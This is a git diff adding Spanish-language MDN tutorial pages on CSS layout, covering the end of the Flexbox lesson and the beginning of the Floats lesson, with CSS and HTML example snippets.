+ <li>El <strong>eje principal</strong> (<strong>main axis</strong>) es el eje que corre en la dirección en que se colocan los elementos flexibles (por ejemplo, según se disponen las filas en una página o hacia abajo según se disponen las columnas en una página). El inicio y el final de este eje se denominan <strong>inicio principal</strong> (<strong>main start</strong>) y <strong>final principal</strong> (<strong>main end</strong>).</li>
+ <li>El <strong>eje transversal</strong> (<strong>cross axis</strong>) es el eje que corre perpendicular a la dirección en la que se colocan los elementos flexibles. El inicio y el final de este eje se denominan <strong>inicio transversal</strong> (<strong>cross start</strong>) y <strong>extremo cruzado</strong> (<strong>cross end</strong>).</li>
+ <li>El elemento padre que tiene establecido <code>display: flex</code> (el elemento {{htmlelement ("section")}} en nuestro ejemplo) se llama <strong>contenedor flexible</strong>.</li>
+ <li>Los elementos que se presentan como cajas flexibles dentro del contenedor flexible se denominan <strong>elementos flexibles</strong> (son los elementos {{htmlelement ("article")}} de nuestro ejemplo).</li>
+</ul>
+
+<p>Ten presente esta terminología al avanzar por las secciones posteriores. Si en algún momento te confundes con el uso de estos conceptos, siempre puedes volver atrás a consultarlos.</p>
+
+<h2 id="¿Columnas_o_filas">¿Columnas o filas?</h2>
+
+<p>Los elementos flexbox proporcionan una propiedad llamada {{cssxref ("flex-direction")}} que especifica en qué dirección corre el eje principal (en qué dirección están dispuestos los elementos hijo de un elemento flexbox); por defecto, está establecido en el valor <code>row</code>, por lo que se presenta en una fila en la dirección en que se escribe el idioma predeterminado de tu navegador (de izquierda a derecha, en el caso de un navegador en español).</p>
+
+<p>Añade la declaración siguiente a tu regla {{htmlelement ("section")}}:</p>
+
+<pre class="brush: css notranslate">flex-direction: column;</pre>
+
+<p>Observa que esto vuelve a colocar los elementos en una disposición en columna, al igual que antes de añadir cualquier CSS. Antes de continuar, elimina esta declaración de tu ejemplo.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: También puedes compaginar elementos flexibles en una dirección inversa utilizando los valores <code>row-reverse</code> y <code>column-reverse</code>. ¡Experimenta también con estos valores!</p>
+</div>
+
+<h2 id="Delimitar">Delimitar</h2>
+
+<p>Un problema que surge cuando tienes una cantidad fija de ancho o alto en tu diseño es que los hijos de un elemento flexbox eventualmente desbordan el contenedor y rompen el diseño. Echa un vistazo a nuestro ejemplo <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox-wrap0.html">flexbox-wrap0.html</a> e intenta <a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox-wrap0.html">verlo en vivo</a> (toma una copia local de este archivo si deseas seguir este ejemplo):</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13410/flexbox-example3.png" style="display: block; height: 646px; margin: 0px auto; width: 800px;"></p>
+
+<p>Aquí vemos que los elementos hijo se salen de su contenedor. Una forma de solucionar esto es añadir la declaración siguiente a tu regla {{htmlelement ("section")}}:</p>
+
+<pre class="brush: css notranslate">flex-wrap: wrap;</pre>
+
+<p>Añade también la declaración siguiente a tu regla {{htmlelement ("article")}}:</p>
+
+<pre class="brush: css notranslate">flex: 200px;</pre>
+
+<p>Pruébalo; observa que al haberlo incluido el aspecto de la compaginación resulta mucho más agradable:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13412/flexbox-example4.png" style="display: block; height: 646px; margin: 0px auto; width: 800px;"> Ahora hay varias filas y en cada fila caben tantos elementos hijo de un elemento flexbox como sean necesarios, y cualquier desbordamiento hace saltar el elemento hacia la línea siguiente. La declaración <code>flex: 200px</code> que hemos establecido en los artículos significa que cada uno tendrá al menos 200 px de ancho; discutiremos esta propiedad con más detalle más adelante. Observa también que los últimos elementos hijo de la última fila se agrandan hasta rellenar toda la fila.</p>
+
+<p>Pero aquí podemos hacer mucho más. En primer lugar, cambia el valor de tu propiedad {{cssxref ("flex-direction")}} a <code>row-reverse</code>; ahora verás que todavía tienes tu compaginación en diversas filas, pero comienza desde la esquina opuesta de la ventana del navegador y fluye al revés.</p>
+
+<h2 id="Propiedades_abreviadas_de_flex-flow">Propiedades abreviadas de flex-flow</h2>
+
+<p>En este punto vale la pena señalar que hay una propiedad abreviada para {{cssxref ("flex-direction")}} y {{cssxref ("flex-wrap")}}: {{cssxref ("flex-flow")}}. Así, por ejemplo, puedes reemplazar:</p>
+
+<pre class="brush: css notranslate">flex-direction: row;
+flex-wrap: wrap;</pre>
+
+<p>con</p>
+
+<pre class="brush: css notranslate">flex-flow: row wrap;</pre>
+
+<h2 id="Dimensionamiento_flexible_de_elementos_flexibles">Dimensionamiento flexible de elementos flexibles</h2>
+
+<p>Volvamos ahora a nuestro primer ejemplo y veamos cómo podemos controlar qué proporción de espacio ocupan los elementos flexibles. Inicia tu copia local de <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox0.html">flexbox0.html</a> o toma una copia de <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox1.html">flexbox1.html</a> como nuevo punto de partida (<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox1.html">consúltalo en vivo</a>).</p>
+
+<p>Primero, añade la regla siguiente al final de tu CSS:</p>
+
+<pre class="brush: css notranslate">article {
+  flex: 1;
+}</pre>
+
+<p>Este es un valor de proporción sin unidades que especifica la cantidad de espacio disponible sobre el eje principal que ocupa cada elemento flexible. En este caso, damos a cada elemento {{htmlelement ("article")}} un valor de 1, lo que significa que todos ocuparán una cantidad igual del espacio libre restante después de que se hayan establecido elementos como el área de relleno y el margen. Es una proporción, lo que significa que dar a cada elemento flexible un valor de 400000 tendría exactamente el mismo efecto.</p>
+
+<p>Ahora añade la regla siguiente debajo de la anterior:</p>
+
+<pre class="brush: css notranslate">article:nth-of-type(3) {
+  flex: 2;
+}</pre>
+
+<p>Al actualizar verás que el tercer {{htmlelement ("article")}} ocupa ahora el doble del ancho disponible que los otros dos; ahora hay cuatro unidades de proporción disponibles en total. Los primeros dos elementos flexibles tienen una cada uno, por lo que ocupan 1/4 del espacio disponible cada uno. El tercero tiene dos unidades, por lo que ocupa 2/4 del espacio disponible (o 1/2).</p>
+
+<p>También puedes especificar un valor de tamaño mínimo dentro del valor flexible. Actualiza las reglas para tu artículo de la manera siguiente:</p>
+
+<pre class="brush: css notranslate">article {
+  flex: 1 200px;
+}
+
+article:nth-of-type(3) {
+  flex: 2 200px;
+}</pre>
+
+<p>Esto establece básicamente que «a cada elemento flexible se le da primero 200px del espacio disponible. Después de eso, el resto del espacio disponible se reparte de acuerdo con las unidades de proporción». Actualiza y observa de qué modo se reparte ahora el espacio.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13406/flexbox-example1.png" style="border-style: solid; border-width: 1px; display: block; height: 324px; margin: 0px auto; width: 800px;"></p>
+
+<p>El valor real del elemento flexbox se puede ver en su flexibilidad/adaptabilidad: si cambias el tamaño de la ventana del navegador o añades otro elemento {{htmlelement ("article")}}, el diseño continúa funcionando bien.</p>
+
+<h2 id="flex_forma_completa_y_abreviada">flex: forma completa y abreviada</h2>
+
+<p>{{cssxref ("flex")}} es una propiedad abreviada que puede especificar hasta tres valores diferentes:</p>
+
+<ul>
+ <li>El valor de proporción sin unidades que ya hemos comentado. Se puede especificar individualmente usando la propiedad {{cssxref ("flex-grow")}}.</li>
+ <li>Un segundo valor de proporción sin unidades, {{cssxref ("flex-shrink")}}, que entra en juego cuando los elementos flexibles desbordan el contenedor. Especifica cuánto de la cantidad desbordada se quita al tamaño de cada elemento flexible para evitar que el contenedor se desborde. Esta es una característica bastante avanzada de flexbox, y no la vamos a exponer en detalle en este artículo.</li>
+ <li>El valor de tamaño mínimo que ya hemos visto. Se puede especificar individualmente usando el valor {{cssxref ("flex-basis")}}.</li>
+</ul>
+
+<p>Recomendamos no usar las propiedades flex sin abreviar a menos que realmente tengas que hacerlo (por ejemplo, para anular algo establecido previamente). Comportan mucho código añadido y suelen aportar confusión.</p>
+
+<h2 id="Alineación_horizontal_y_vertical">Alineación horizontal y vertical</h2>
+
+<p>También puedes usar las funciones de los elementos flexbox para alinear elementos flexibles sobre el eje principal o transversal. Exploremos este aspecto a partir de un ejemplo nuevo: <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flex-align0.html">flex-align0.html</a> (<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flex-align0.html">consúltalo en vivo</a>), que vamos a convertir en una barra de herramientas/botones ordenada y flexible. En este momento puedes ver una barra de menú horizontal, con algunos botones pegados en línea a la esquina superior izquierda.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13414/flexbox-example5.png" style="display: block; height: 77px; margin: 0px auto; width: 600px;"></p>
+
+<p>Primero, toma una copia local de este ejemplo.</p>
+
+<p>Ahora, añade a la parte inferior del CSS del ejemplo lo siguiente:</p>
+
+<pre class="brush: css notranslate">div {
+  display: flex;
+  align-items: center;
+  justify-content: space-around;
+}</pre>
+
+<p>Actualiza la página y observa que los botones ahora están convenientemente centrados, horizontal y verticalmente. Lo hemos hecho a partir de dos propiedades nuevas.</p>
+
+<p>{{cssxref ("align-items")}} controla dónde se ubican los elementos flexibles en el eje transversal.</p>
+
+<ul>
+ <li>Por defecto, el valor es <code>stretch</code>, que ensancha todos los elementos flexibles para rellenar el elemento primario en la dirección del eje transversal. Si el elemento padre no tiene un ancho fijo en la dirección del eje transversal, todos los elementos flexibles son tan largos como los elementos flexibles más largos. Así es como nuestro primer ejemplo obtuvo columnas de igual altura por defecto.</li>
+ <li>El valor <code>center</code> que utilizamos en nuestro código anterior mantiene las dimensiones intrínsecas de los elementos pero los centra sobre el eje transversal. Es por eso que los botones de nuestro ejemplo ahora están centrados verticalmente.</li>
+ <li>También puedes tener valores como <code>flex-start</code> y <code>flex-end</code>, que alinean todos los elementos al inicio y al final del eje transversal, respectivamente. Consulta {{cssxref ("align-items")}} para conocer todos los detalles al respecto.</li>
+</ul>
+
+<p>Puedes anular el comportamiento {{cssxref ("align-items")}} para elementos flexibles individuales aplicándoles la propiedad {{cssxref ("align-self")}}. Por ejemplo, añade a tu CSS lo siguiente:</p>
+
+<pre class="brush: css notranslate">button:first-child {
+  align-self: flex-end;
+}</pre>
+
+<p>Observa qué efecto tiene esto y retíralo de nuevo al terminar.</p>
+
+<p>{{cssxref ("justify-content")}} controla dónde se ubican los elementos flexibles sobre el eje principal.</p>
+
+<ul>
+ <li>El valor por defecto es <code>flex-start</code>, que asienta todos los elementos al comienzo del eje principal.</li>
+ <li>Puedes usar <code>flex-end</code> para que se asienten al final.</li>
+ <li><code>center</code> también es un valor de <code>justify-content</code> (para alinear contenido), que asienta los elementos flexibles sobre el centro del eje principal.</li>
+ <li>El valor <code>space-around</code> que hemos usado antes es útil porque distribuye todos los elementos de manera uniforme sobre el eje principal y deja un poco de espacio en cada extremo.</li>
+ <li>Hay otro valor, <code>space-between</code>, que es muy similar a <code>space-around</code>, pero no deja espacio en los extremos.</li>
+</ul>
+
+<p>Te animamos a jugar con estos valores para ver cómo funcionan antes de continuar.</p>
+
+<h2 id="Ordenar_los_elementos_flexibles">Ordenar los elementos flexibles</h2>
+
+<p>Los elementos flexbox también tienen una función para cambiar el orden de disposición de los elementos flexibles, sin que ello afecte a su orden en el código fuente. Esto es algo que resulta imposible de hacer con los métodos de compaginación tradicionales.</p>
+
+<p>El código para esto es simple: añade el siguiente CSS al código de ejemplo de la barra de controles:</p>
+
+<pre class="brush: css notranslate">button:first-child {
+  order: 1;
+}</pre>
+
+<p>Actualiza, y observa que el botón «Smile» se ha movido al final del eje principal. Observemos cómo funciona esto con un poco más de detalle:</p>
+
+<ul>
+ <li>Por defecto, todos los elementos flexibles tienen un valor {{cssxref ("order")}} de 0.</li>
+ <li>Los elementos flexibles que tengan establecidos los valores de orden más altos aparecerán más tarde en el orden de visualización que los elementos que tengan valores de orden más bajos.</li>
+ <li>Los artículos flexibles con el mismo valor de orden aparecerán en su orden de origen. Luego, si hay cuatro elementos cuyos valores de orden se han establecido en 2, 1, 1 y 0, respectivamente, su orden de visualización será 4°, 2°, 3° y, por último, 1°.</li>
+ <li>El tercer elemento aparece después del segundo porque tiene el mismo valor de orden y está después de él en el orden del código de origen.</li>
+</ul>
+
+<p>Puedes establecer valores de orden negativos para que los elementos aparezcan antes que los elementos establecidos con el valor 0. Por ejemplo, puedes hacer que el botón «Blush» aparezca al comienzo del eje principal utilizando la regla siguiente:</p>
+
+<pre class="brush: css notranslate">button:last-child {
+  order: -1;
+}</pre>
+
+<h2 id="Cajas_flexibles_anidadas">Cajas flexibles anidadas</h2>
+
+<p>Los elementos flexbox permiten crear algunos diseños de página bastante complejos. Es perfectamente aceptable configurar un elemento flexible para que también sea un contenedor flexible, de modo que los elementos secundarios también se dispongan como cajas flexibles. Echa un vistazo a complex-flexbox.html (<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/complex-flexbox.html">consúltalo en vivo</a>).</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13418/flexbox-example7.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>El HTML para ello es bastante simple. Hay un elemento {{htmlelement ("section")}} que contiene tres elementos {{htmlelement ("article")}}. El tercer elemento {{htmlelement ("article")}} contiene tres elementos {{htmlelement ("div")}}:</p>
+
+<pre class="notranslate">section - article
+          article
+          article - div - button
+                    div   button
+                    div   button
+                          button
+                          button</pre>
+
+<p>Veamos el código que hemos usado para esta compaginación.</p>
+
+<p>En primer lugar, configuramos los elementos secundarios de {{htmlelement ("section")}} para que se presenten como cajas flexibles.</p>
+
+<pre class="brush: css notranslate">section {
+  display: flex;
+}</pre>
+
+<p>A continuación, establecemos algunos valores flexibles en los elementos {{htmlelement ("article")}}. Presta una atención especial a la segunda regla: configuramos el tercer elemento {{htmlelement ("article")}} para que sus hijos también se presenten como elementos flexibles, pero esta vez los disponemos en una columna.</p>
+
+<pre class="brush: css notranslate">article {
+  flex: 1 200px;
+}
+
+article:nth-of-type(3) {
+  flex: 3 200px;
+  display: flex;
+  flex-flow: column;
+}
+</pre>
+
+<p>A continuación, seleccionamos el primer elemento {{htmlelement ("div")}}. Primero usamos <code>flex:1 100px;</code> para darle una altura mínima efectiva de 100 px, luego configuramos sus elementos secundarios (los elementos {{htmlelement ("button")}}) para que también se presenten como elementos flexibles. Aquí los colocamos en una fila que los delimita y los alineamos en el centro del espacio disponible, como hicimos en el ejemplo del botón individual que vimos antes.</p>
+
+<pre class="brush: css notranslate">article:nth-of-type(3) div:first-child {
+  flex:1 100px;
+  display: flex;
+  flex-flow: row wrap;
+  align-items: center;
+  justify-content: space-around;
+}</pre>
+
+<p>Por último, establecemos un tamaño para el botón, pero lo más interesante es que le damos un valor flexible de 1 auto. Esto tiene un efecto muy interesante, que puedes observar si cambias el tamaño del ancho de la ventana de tu navegador. Los botones ocuparán tanto espacio como puedan y se asentarán tantos en la misma línea como quepan, pero cuando ya no quepan con comodidad en la misma línea, saltarán de línea y crearán líneas nuevas.</p>
+
+<pre class="brush: css notranslate">button {
+  flex: 1 auto;
+  margin: 5px;
+  font-size: 18px;
+  line-height: 1.5;
+}</pre>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p>La compatibilidad de los elementos flexbox está garantizada para la mayoría de los navegadores nuevos: Firefox, Chrome, Opera, Microsoft Edge e Internet Explorer 11, las versiones más recientes de Android/iOS, etc. Sin embargo, todavía hay navegadores antiguos en uso que no admiten las propiedades flexbox (o lo hacen, pero admiten una versión muy antigua y desactualizada).</p>
+
+<p>Esto no importa demasiado mientras estás aprendiendo y experimentando; pero cuando consideras usar propiedades flexbox en un sitio web real, debes hacer pruebas y asegurarte de que tu experiencia de usuario sea lo suficientemente aceptable en tantos navegadores como sea posible.</p>
+
+<p>Las propiedades flexbox son un poco más complicadas que otras características de CSS. Por ejemplo, si un navegador no soporta sombras en CSS, es probable que el sitio todavía sea utilizable. Sin embargo, si no es compatible con las funciones flexbox, probablemente el diseño completo se romperá, y el sitio web se inutilizará.</p>
+
+<p>Expusimos estrategias para superar problemas de compatibilidad entre navegadores en nuestro módulo <a href="/es/docs/Learn/Herramientas_y_pruebas/Cross_browser_testing">Pruebas de compatibilidad del navegador</a>.</p>
+
+<h2 id="Pon_a_prueba_tus_habilidades">Pon a prueba tus habilidades</h2>
+
+<p>Hemos cubierto mucho terreno en este artículo. ¿Recuerdas la información más importante? Encontrarás más pruebas para comprobar si retienes esta información antes de seguir en <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox_skills">Test your skills: Flexbox</a>.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Con esto concluye nuestro recorrido por los conceptos básicos de las propiedades flexbox. Esperamos que te hayas divertido y que juegues con ello mientras avanzas en tu aprendizaje. A continuación, veremos otro aspecto importante de los diseños CSS: las rejillas CSS.</p>
+
+<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout")}}</div>
+
+<div>
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">Introducción al diseño CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Normal_Flow">Flujo normal</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Cuadrícula</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">Flotadores</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Posicionamiento</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Diseño en varias columnas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Responsive_Design">Diseño adaptativo</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Media_queries">Guía para principiantes sobre consultas a medios</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Métodos de compaginación heredados</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Compatibilidad en navegadores antiguos</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Evaluación del conjunto de elementos básicos de compaginación</a></li>
+</ul>
+</div>
diff --git a/files/es/learn/css/css_layout/floats/index.html b/files/es/learn/css/css_layout/floats/index.html
new file mode 100644
index 0000000000..47ae275f2e
--- /dev/null
+++ b/files/es/learn/css/css_layout/floats/index.html
@@ -0,0 +1,505 @@
+---
+title: Floats
+slug: Learn/CSS/CSS_layout/Floats
+translation_of: Learn/CSS/CSS_layout/Floats
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout")}}</div>
+
+<p>Originalmente pensada para flotar imágenes dentro de bloques de texto, la propiedad {{cssxref("float")}} se convirtió en una de las herramientas más usadas para crear diseños multicolumna en las páginas web. Con la llegada de Flexbox y Grid ha vuelto ahora a su propósito original, como se explica en este artículo.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Requisitos previos:</th>
+   <td>HTML básico (ver <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción al HTML</a>), y una idea de Cómo funciona CSS (ver <a href="/es/docs/Learn/CSS/First_steps">Introducción a CSS</a>.)</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender a crear elementos flotantes en páginas web, y a usar la propiedad <em>clear</em> y otros métodos para limpiar los elementos flotantes.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="La_historia_de_los_elementos_flotantes">La historia de los elementos flotantes</h2>
+
+<p>La propiedad {{cssxref("float")}} fue introducida para permitir a los desarrolladores implementar diseños sencillos que incluyeran una imagen flotando dentro de una columna de texto, con el texto envolviendo la parte izquierda o derecha de la imagen. El tipo de cosa que encuentras habitualmente en el diseño de un periódico.</p>
+
+<p>Pero los desarrolladores web pronto se dieron cuenta de que podían flotar cualquier cosa, no solo imágenes, por lo que su uso se extendió, por ejemplo creando efectos de diseño divertidos como estas <a href="https://css-tricks.com/snippets/css/drop-caps/">letras capitulares</a>.</p>
+
+<p>Los elementos flotantes han sido usados comúnmente para crear diseños web completos con múltiples columnas situadas unas al lado de las otras (el comportamiento por defecto sería que las columnas se situaran unas debajo de las otras, en el mismo orden en el que aparecen en el código fuente). Ahora hay disponibles técnicas más modernas y mejores, que exploraremos más adelante en este módulo, por lo que el uso de {{cssxref("float")}} de este modo debería contemplarse como una <a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">técnica anticuada</a>.</p>
+
+<p>En este artículo nos centraremos en el uso apropiado de la propiedad {{cssxref("float")}}.</p>
+
+<h2 id="Un_ejemplo_de_float_simple">Un ejemplo de float simple</h2>
+
+<p>Exploremos cómo usar los <em>float</em>. Empezaremos con un ejemplo realmente simple que incluye un bloque de texto flotando alrededor de un elemento. Puedes acompañarnos creando un fichero <code>index.html</code> en tu ordenador, rellenándolo con <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">una plantilla HTML simple</a>, e insertando el código siguiente en los lugares adecuados. Al final de la sección podrás ver un ejemplo en vivo de cómo debería ser el código final.</p>
+
+<p>Primero, empecemos con algo de HTML simple — añade lo siguiente al cuerpo de tu HTML, eliminando cualquier otra cosa que hubiera antes:</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Ejemplo simple de caja flotante&lt;/h1&gt;
+
+&lt;div class="box"&gt;Caja flotante&lt;/div&gt;
+
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. &lt;/p&gt;
+
+&lt;p&gt;Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;</pre>
+
+<p>Ahora aplica el siguiente CSS a tu HTML (usando un elemento {{htmlelement("style")}} o un {{htmlelement("link")}} para separar el fichero <code>.css</code>  — tú eliges):</p>
+
+<pre class="brush: css notranslate">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif
+}
+
+.box {
+  width: 150px;
+  height: 100px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}</pre>
+
+<p>Si guardas y recargas la página, verás algo parecido a lo que esperarías: la caja se encuentra por encima del texto, en un flujo normal. Para flotar el texto alrededor, añade las propiedades {{cssxref("float")}} y {{cssxref("margin-right")}} a la regla <code>.box</code>:</p>
+
+<pre class="brush: css notranslate">.box {
+  float: left;
+  margin-right: 15px;
+  width: 150px;
+  height: 100px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}</pre>
+
+<p>Ahora, si guardas y recargas, podrás ver algo parecido a lo siguiente:</p>
+
+<div id="Float_1">
+<div class="hidden">
+<h6 id="Float_Example_1">Float Example 1</h6>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Ejemplo simple de caja flotante&lt;/h1&gt;
+
+&lt;div class="box"&gt;Caja flotante&lt;/div&gt;
+
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. &lt;/p&gt;
+
+&lt;p&gt;Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+</pre>
+
+<pre class="brush: css notranslate">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif
+}
+
+.box {
+  float: left;
+  margin-right: 15px;
+  width: 150px;
+  height: 150px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('Float_1', '100%', 500) }}</p>
+
+<p>Analicemos ahora cómo funciona el <em>float</em> — el elemento con el <em>float</em> aplicado (el elemento {{htmlelement("div")}} en este caso) es sacado del flujo normal del documento y está pegado al lado izquierdo de su elemento contenedor padre ({{htmlelement("body")}}, en este caso). Cualquier contenido que esté por debajo del elemento flotado en el flujo normal, ahora lo envolverá, rellenando el espacio a la derecha hasta la parte superior del elemento flotante. Allí se detendrá.</p>
+
+<p>Flotar el contenido a la derecha tiene exactamente el mismo efecto, pero a la inversa — el elemento flotado se pegará a la derecha, y el contenido lo envolverá por la izquierda. Prueba cambiando el valor de la propiedad <em>float</em> a <code>right</code> y reemplaza {{cssxref("margin-right")}} con {{cssxref("margin-left")}} en el último conjunto de reglas para ver el resultado.</p>
+
+<p>Si bien podemos agregar un margen al flotante para alejar el texto, no podemos agregar un margen al texto para alejarlo del flotante. Esto se debe a que un elemento flotante se saca del flujo normal y las cajas de los siguientes elementos siguen detrás del flotador. Puedes comprobarlo haciendo algunos cambios en tu ejemplo.</p>
+
+<p>Añade una clase <code>special</code> al primer párrafo de texto, el que sucede inmediatamente a la caja flotante, y luego añade en tu CSS las siguientes reglas. Esto le dará al párrafo siguiente un color de fondo.</p>
+
+<pre class="brush: css notranslate">.special {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+}
+</pre>
+
+<p>Para que el efecto sea más fácil de ver, cambia el <code>margin-right</code> de tu elemento flotante a <code>margin</code>, para obtener espacio alrededor del elemento flotante. Verás que el fondo del párrafo pasa justo por debajo de la caja flotante, como en el ejemplo inferior.</p>
+
+<div id="Float_2">
+<div class="hidden">
+<h6 id="Float_Example_2">Float Example 2</h6>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Ejemplo simple de caja flotante&lt;/h1&gt;
+
+&lt;div class="box"&gt;Caja flotante&lt;/div&gt;
+
+&lt;p class="special"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. &lt;/p&gt;
+
+&lt;p&gt;Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;    </pre>
+
+<pre class="brush: css notranslate">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif
+}
+
+.box {
+  float: left;
+  margin: 15px;
+  width: 150px;
+  height: 150px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+
+.special {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('Float_2', '100%', 500) }}</p>
+
